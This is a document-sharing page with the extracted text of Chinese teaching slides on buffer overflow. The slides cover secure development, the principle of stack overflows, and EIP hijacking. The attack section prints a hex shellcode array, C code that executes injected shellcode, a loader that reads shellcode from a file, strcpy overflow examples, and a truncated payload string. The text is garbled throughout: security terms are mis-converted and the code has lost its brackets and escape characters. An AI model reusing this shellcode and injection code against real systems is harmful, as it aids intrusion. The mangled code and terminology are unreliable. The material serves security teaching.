版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、 緩沖區(qū)溢出原理軟件質(zhì)量軟件質(zhì)量問題引發(fā)的事故軟件質(zhì)量問題引發(fā)的事故 根據(jù)美國(guó)航空業(yè)的調(diào)查說明,由于軟件質(zhì)量問題導(dǎo)致的經(jīng)濟(jì)損失宏大: 1996年損失6.4億美元、1997年損失1.17億美元、1998年損失2.55億美元、1999年損失16億美元?!斑\(yùn)行正確的程序就是高質(zhì)量的程序嗎?運(yùn)行正確的程序就是高質(zhì)量的程序嗎?也許運(yùn)行速度很低并且浪費(fèi)內(nèi)存;也許運(yùn)行速度很低并且浪費(fèi)內(nèi)存;性能差性能差也許代碼的平安性很差;也許代碼的平安性很差;有破綻有破綻也許代碼寫得一塌糊涂;也許代碼寫得一塌糊涂;可維護(hù)性差可維護(hù)性差也許也許已經(jīng)沒有也許已經(jīng)沒有也許 軟件質(zhì)量McCall的軟件質(zhì)量模型產(chǎn)品運(yùn)行產(chǎn)品修改產(chǎn)品轉(zhuǎn)
2、移正確性可靠性效率 安全性完整性易用性可維護(hù)性靈活性可測(cè)試性可移植性重復(fù)使用性伸縮性軟件開發(fā)的平安性隨著企業(yè)一窩蜂似地采用電子商務(wù),平安性不再是一件微缺乏道的事情了,它已經(jīng)開場(chǎng)成為一個(gè)重要的問題。 作為開發(fā)人員,必須保證所編寫的系統(tǒng)的平安性。但是,平安性不是一個(gè)可被添加到現(xiàn)有系統(tǒng)的功能部件。和許多用收縮性薄膜包裝用戶商品的供給商所認(rèn)為的相反,不能在完成系統(tǒng)之后把有效的平安性象擰螺絲一樣擰到系統(tǒng)中去。平安性是軟件系統(tǒng)在系統(tǒng)范圍存在的特性。因此,從設(shè)計(jì)軟件的最開場(chǎng)就應(yīng)該考慮到平安性。平安性就象保險(xiǎn)、可依賴性、可靠性或任何其它的軟件 特性。就如同使用一個(gè)不可靠系統(tǒng)再添加一個(gè)“可靠性模塊然后希望獲得無(wú)
3、錯(cuò)的軟件是不可能的一樣,把平安性象另外一個(gè)功能部件一樣添加到應(yīng)用程序也是不可能的。“插入修補(bǔ)方法不是一個(gè)好方法 許多眾所周知的軟件供給商好象不理解平安性不是一種可添加的功能部件。他們繼續(xù)以驚人的速度設(shè)計(jì)并消費(fèi)產(chǎn)品,而很少注意平安性。他們只有在其產(chǎn)品遭到公開地并且經(jīng)常是突如其來地?fù)p害時(shí)才開場(chǎng)擔(dān)憂平安性。然后,他們匆忙趕制出一個(gè)補(bǔ)丁程序,而不是意識(shí)到從一開場(chǎng)就考慮平安性是更好的方法。軟件開發(fā)的平安性n這種方法在電子商務(wù)應(yīng)用程序中行不通。 問題包括:開發(fā)人員只可以修補(bǔ)他們知道的問題。攻擊者可能會(huì)找到他們決不會(huì)向開發(fā)人員報(bào)告的問題。 由于系統(tǒng)管理員通常工作過度,并且他們不想更改“有效的系統(tǒng),因此他們一
4、般不會(huì)應(yīng)用補(bǔ)丁程序。有時(shí)管理員甚至沒有意識(shí)到應(yīng)該將某一重要的補(bǔ)丁程序應(yīng)用到系統(tǒng)上。 供給商們通常是迫于市場(chǎng)壓力才趕制出補(bǔ)丁程序,因此經(jīng)常會(huì)在補(bǔ)丁程序中引入新的問題。 補(bǔ)丁程序僅僅只是修補(bǔ)某一問題的病癥,它們不能解決根本的原因。 n因此,我們應(yīng)該防止遇到試圖修補(bǔ)一個(gè)遭到攻擊者猛烈攻擊的問題的絕望場(chǎng)面。從簡(jiǎn)單的經(jīng)濟(jì)性考慮,在發(fā)布軟件系統(tǒng)之前找到并除去錯(cuò)誤的本錢比發(fā)布后再試圖修復(fù)系統(tǒng)的本錢要低得多也有效得多。通過設(shè)計(jì)平安系統(tǒng)、仔細(xì)實(shí)現(xiàn)該系統(tǒng)、然后在發(fā)布之前全面測(cè)試該系統(tǒng),我們可以消除這些問題,并開發(fā)出一個(gè)不依賴補(bǔ)丁程序的真正平安的系統(tǒng)。平安保證的四招:平安性保證 設(shè)計(jì)系統(tǒng)時(shí)要有平安性觀念。 應(yīng)該在開
5、發(fā)周期的所有階段中考慮平安性,而不是事后想到它時(shí)再補(bǔ)救。平安性并不是一個(gè)隨時(shí)都可以添加到系統(tǒng)中的根本功能部件。平安性就象容錯(cuò);它是一個(gè)需要有效、仔細(xì)地規(guī)劃和設(shè)計(jì)的遍布于整個(gè)系統(tǒng)的特性。 例如:從運(yùn)行支撐環(huán)境平安角度出發(fā),應(yīng)考慮操作系統(tǒng)、數(shù)據(jù)庫(kù)、應(yīng)用效勞器、第三方控件等的平安性;從用戶的使用角度出發(fā),應(yīng)考慮權(quán)限管理、身份驗(yàn)證;從數(shù)據(jù)的平安性出發(fā),信譽(yù)卡號(hào)是敏感信息,應(yīng)該保護(hù)它們防止可能的竊聽 根據(jù)和預(yù)期的風(fēng)險(xiǎn)分析系統(tǒng)。 識(shí)別潛在的風(fēng)險(xiǎn)、發(fā)生這些風(fēng)險(xiǎn)的可能性以及它們可能到達(dá)的嚴(yán)重程度。首先識(shí)別的攻擊可能會(huì)應(yīng)用到身邊系統(tǒng)的何處,然后按嚴(yán)重性給它們劃分等級(jí)。風(fēng)險(xiǎn)的相對(duì)嚴(yán)重性非常依賴于身邊系統(tǒng)的需要和目
6、的。風(fēng)險(xiǎn)評(píng)估是確定如何分配測(cè)試和分析資源的關(guān)鍵。編寫平安代碼 平安性測(cè)試技術(shù) 進(jìn)展風(fēng)險(xiǎn)測(cè)試。 從設(shè)計(jì)過程開場(chǎng)對(duì)破壞的系統(tǒng)重復(fù)以上步驟。靜態(tài)分析,它不實(shí)際運(yùn)行代碼而只是通過查看代碼以找出潛在的脆弱性動(dòng)態(tài)分析,它通過實(shí)際運(yùn)行代碼來測(cè)試代碼。應(yīng)用常見平安性技術(shù) 許多系統(tǒng)架構(gòu)設(shè)計(jì)師的一個(gè)常見的誤解是,使系統(tǒng)平安的方法歸根結(jié)底是防火墻和密碼術(shù)。破綻概述Bug與破綻破綻挖掘破綻分析破綻利用緩沖區(qū)溢出破綻緩沖區(qū)溢出破綻十年來最大的平安問題十年來最大的平安問題在信息平安日益被人們所關(guān)注的今天,緩沖區(qū)溢出毫無(wú)疑問的是最大的平安威脅之一。Internet上的第一例蠕蟲Morris攻擊,就是利用了fingerd的緩
7、沖區(qū)溢出破綻。SANS評(píng)選出的2005年威脅最大的20個(gè)破綻中,有8個(gè)跟緩沖區(qū)溢出有關(guān)。根據(jù)CERT的統(tǒng)計(jì)數(shù)據(jù),近幾年與緩沖區(qū)溢出有關(guān)的平安事件在50%以上。代碼注入攻擊是指攻擊者本地或者遠(yuǎn)程向進(jìn)程的線性地址空間注入一段可執(zhí)行的二進(jìn)制代碼,然后通過某種手段修改進(jìn)程的正??刂屏鞒?,使進(jìn)程執(zhí)行這段代碼,從而到達(dá)預(yù)定目的的攻擊行為。緩沖區(qū)溢出攻擊 在嚴(yán)格意義上是指這一類攻擊的一個(gè)子類。由于攻擊者注入代碼的位置通常在緩沖區(qū),而且修改進(jìn)程的正常流程往往需要利用對(duì)緩沖區(qū)缺乏邊界檢查的編程錯(cuò)誤,所以,以“緩沖區(qū)溢出攻擊指代全體。緩沖區(qū)溢出的原理當(dāng)程序?qū)懭氤^緩沖區(qū)的邊界時(shí),這就是所謂的“緩沖區(qū)溢出。發(fā)生緩沖
8、區(qū)溢出時(shí),會(huì)覆蓋下一個(gè)相鄰的內(nèi)存塊。由于 C 語(yǔ)言本質(zhì)上的不平安性,所以它允許程序隨意或者更準(zhǔn)確地說是完全出于偶爾溢出緩沖區(qū)。沒有運(yùn)行時(shí)檢查來這一防止寫入超過緩沖區(qū)末尾,所以程序員必須在其自己的代碼中執(zhí)行這一檢查,否那么繼續(xù)下去會(huì)遇到問題。通過往程序的緩沖區(qū)寫超出其長(zhǎng)度的內(nèi)容,造成緩沖區(qū)的溢出,從而破壞程序的堆棧,使程序轉(zhuǎn)而執(zhí)行其它指令,以到達(dá)攻擊的目的。造成緩沖區(qū)溢出的原因是程序中沒有仔細(xì)檢查用戶輸入的參數(shù)。例如下面程序:void functionchar *str char buffer16; strcpybuffer,str;為什么緩沖區(qū)溢出是平安性問題?問題問題:往杯子里倒過多的水使水
9、溢出杯子對(duì)人能造成多大的傷害?當(dāng)緩沖區(qū)溢出時(shí),額外的數(shù)據(jù)會(huì)摧殘程序?qū)砜赡芤L問的其它有用的數(shù)據(jù)。有時(shí),這些其它數(shù)據(jù)的更改會(huì)導(dǎo)致平安性問題。讀取或?qū)懭氤^緩沖區(qū)的末尾時(shí),會(huì)導(dǎo)致許多不同并且通常是不可意料的行為:1 程序的執(zhí)行很奇怪,2 程序完全失敗,或者 3 程序可以繼續(xù),而且在執(zhí)行中沒有任何明顯不同。緩沖區(qū)溢出的副作用取決于:寫入的數(shù)據(jù)中有多少超過緩沖區(qū)邊界 當(dāng)緩沖區(qū)已滿并且溢出時(shí),覆蓋了哪些數(shù)據(jù)假如有的話 程序是否試圖讀取溢出期間被覆蓋的數(shù)據(jù) 哪些數(shù)據(jù)最終交換被覆蓋的內(nèi)存 存在緩沖區(qū)溢出的程序的不確定行為使得對(duì)它們的調(diào)試異常棘手。最壞的情況是:程序可能正發(fā)生緩沖區(qū)溢出,但根本沒有任何副作用
10、的跡象。因此,緩沖區(qū)溢出問題常常在標(biāo)準(zhǔn)測(cè)試期間是發(fā)現(xiàn)不了的。認(rèn)識(shí)緩沖區(qū)溢出的重要一點(diǎn)是:在發(fā)生溢出時(shí),會(huì)潛在地修改碰巧分配在緩沖區(qū)附近的任何數(shù)據(jù)。緩沖區(qū)溢出破綻的危害 緩沖區(qū)溢出破綻比其他一些黑客攻擊手段更具有破壞力和隱蔽性。這也是利用緩沖區(qū)溢出破綻進(jìn)展攻擊日益普遍的原因。它極容易使效勞程序停頓運(yùn)行,效勞器死機(jī)甚至刪除效勞器上的數(shù)據(jù)。它的隱蔽性主要表如今下面幾點(diǎn):首先,破綻被發(fā)現(xiàn)之前一般程序員是不會(huì)意識(shí)到自己的程序存在破綻,破綻的發(fā)現(xiàn)者往往并非編寫程序的程序員,從而忽略監(jiān)測(cè);其次,shellcode都很短,執(zhí)行時(shí)間也非常短,很難在執(zhí)行過程中被發(fā)現(xiàn);第三,由于破綻存在于防火墻內(nèi)部,攻擊者所發(fā)送的
11、字符串一般情況下防火墻不會(huì)阻攔,而攻擊者通過執(zhí)行shellcode所獲得的是本來不被允許或沒有權(quán)限的操作,在防火墻看來也是合理合法的。防火墻在對(duì)遠(yuǎn)程緩沖區(qū)溢出攻擊的監(jiān)測(cè)方面有先天的缺乏;第四,一個(gè)完好的shellcode的執(zhí)行并不一定會(huì)使系統(tǒng)報(bào)告錯(cuò)誤,并可能不影響正常程序的運(yùn)行;第五,攻擊的隨機(jī)性和不可預(yù)測(cè)性使得防御攻擊變得異常困難,而沒有攻擊時(shí),攻擊程序并不會(huì)有什么變化這和木馬有著本質(zhì)的區(qū)別,這也是堆棧溢出最難被 發(fā)現(xiàn)的原因;最后,緩沖區(qū)溢出破綻的普遍存在,使得針對(duì)這種破綻的攻擊防不勝防各種補(bǔ)丁程序也可能存在著這種破綻。另外,還存在著攻擊者成心分布存在破綻的應(yīng)用程序的可能。攻擊者還可以借用木
12、馬植入的方法,成心在被攻擊者的系統(tǒng)中留下存在破綻的程序,這樣做不會(huì)因?yàn)楹蟹欠ㄗ侄味环阑饓亟^;或者利用病毒傳播的方式來傳播有破綻的程序,和病毒不同的是,它在一個(gè)系統(tǒng)中只留下一份拷貝 要發(fā)現(xiàn)這種情況幾乎是不可能的。 緩沖區(qū)攻擊的目的緩沖區(qū)攻擊的目的n攻擊的目的利用緩沖區(qū)破綻造成被攻擊者的效勞回絕利用緩沖區(qū)破綻提升權(quán)限直接利用遠(yuǎn)程效勞的緩沖區(qū)溢出破綻,從遠(yuǎn)程得到目的的控制權(quán)。n攻擊程序所要解決的兩個(gè)問題在被攻擊程序的地址空間安排適當(dāng)?shù)拇a。通過適當(dāng)?shù)某跏蓟娣牌骱蛢?nèi)存,讓程序跳轉(zhuǎn)到入侵者安排的地址空間執(zhí)行。緩沖區(qū)溢出攻擊策略之瞞天過海代碼植入/以下代碼執(zhí)行數(shù)組shellcodeunsigned
13、 char shellcode =xEBx42x8Bx59x3Cx8Bx5Cx0Bx78x03xD9x8Bx73x20 x03xF1x33xFFx4Fx47xADx33xEDx0FxB6x14x01x38xF2x74x08xC1xCDx03x03xEAx40 xEBxF0 x3Bx6Cx24x04x75xE6x8Bx73x24x03xF1x66x8Bx3Cx7Ex8Bx73x1Cx03xF1x8Bx04xBEx03xC1x5Bx5Fx53xC3xEBx4Fx33xC0 x64x33x40 x30 x8Bx40 x0Cx8Bx70 x1CxADx8Bx48x08x58x33xDBx33xFFx6
14、6xBFx33x32x57x68x75x73x65x72x8BxFCx53x51x53x50 x50 x53x57x68x54x12x81x20 xE8x8AxFFxFFxFFxFFxD0 x8BxC8x68x25x59x3AxE4xE8x7CxFFxFFxFFxFFxD0 x59x68x97x19x6Cx2DxE8x6FxFFxFFxFFxFFxD0 xE8xACxFFxFFxFFhello,world!;void main void *&shellcode0; 緩沖區(qū)溢出攻擊策略之瞞天過海代碼植入將需要運(yùn)行的代碼放從文件中讀入#include void mainunsigned char
15、shellcode1000;FILE * fp = fopenshellcode.txt,r;freadshellcode,166,1,fp;shellcode166=0;fclosefp;void *&shellcode0; 進(jìn)一步聯(lián)想,假如是一個(gè)網(wǎng)絡(luò)程序例如效勞器,從網(wǎng)絡(luò)接收一串?dāng)?shù)據(jù)保存到數(shù)組中并運(yùn)行,而這串代碼又是惡意代碼. 傻不傻啊,居然會(huì)有這樣的軟件設(shè)計(jì)學(xué)生甲留!OK,他不能,我們讓他能!緩沖區(qū)溢出攻擊之第二招:劫持EIP。緩沖區(qū)溢出攻擊策略之劫持EIPEIP的作用函數(shù)調(diào)用的本質(zhì)改變程序的執(zhí)行流程#include void MyCopy char* str char buff4; s
16、trcpy buff, str ; void main char input = aaaaaaaaaaaa; MyCopy input ; n#include string.h void MyCopy char* str char buff4; strcpy buff, str ; nint main char buffer = aaaaaaaax12x45xfax7f x55x8BxECx33xC0 x50 x50 x50 xC6x45xF4x4DxC6x45xF5x53 xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6 x45xFBx4
溫馨提示
- 1. 本站所有資源如無(wú)特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 高三物理實(shí)驗(yàn)教學(xué)指導(dǎo)手冊(cè)
- 高速鐵路橋梁工程施工組織設(shè)計(jì)案例分析
- 調(diào)研市場(chǎng)調(diào)研市場(chǎng)分析師實(shí)習(xí)報(bào)告
- 醫(yī)學(xué)影像技術(shù)醫(yī)療設(shè)備公司技術(shù)實(shí)習(xí)生實(shí)習(xí)報(bào)告
- 市場(chǎng)營(yíng)銷市場(chǎng)研究公司市場(chǎng)調(diào)研實(shí)習(xí)報(bào)告
- 生物學(xué)生物研究機(jī)構(gòu)研究員實(shí)習(xí)生實(shí)習(xí)報(bào)告
- 電子信息專業(yè)XX通信公司技術(shù)支持實(shí)習(xí)報(bào)告
- 污水管網(wǎng)巡檢作業(yè)規(guī)章制度
- 公共管理XX政府部門政策研究實(shí)習(xí)生實(shí)習(xí)報(bào)告
- 企業(yè)安全生產(chǎn)管理制度
- 陜西省西安市工業(yè)大學(xué)附屬中學(xué)2025-2026學(xué)年上學(xué)期八年級(jí)期末數(shù)學(xué)試題(原卷版+解析版)
- 電工素質(zhì)培訓(xùn)課件
- 2026年陜西省森林資源管理局局屬企業(yè)公開招聘工作人員備考題庫(kù)及參考答案詳解一套
- 講解員發(fā)聲技巧培訓(xùn)
- TCTA 011-2026 智能水尺觀測(cè)系統(tǒng)操作規(guī)程
- 新入職廉政培訓(xùn)課件
- 律師事務(wù)所年度業(yè)績(jī)考核方案
- 2025年6月江蘇揚(yáng)州經(jīng)濟(jì)技術(shù)開發(fā)區(qū)區(qū)屬國(guó)有企業(yè)招聘23人筆試參考題庫(kù)附帶答案詳解(3卷)
- 四川省2025年高職單招職業(yè)技能綜合測(cè)試(中職類) 護(hù)理類試卷(含答案解析)
- 2025至2030全球及中國(guó)變壓器監(jiān)測(cè)行業(yè)調(diào)研及市場(chǎng)前景預(yù)測(cè)評(píng)估報(bào)告
- 三體系基礎(chǔ)培訓(xùn)
評(píng)論
0/150
提交評(píng)論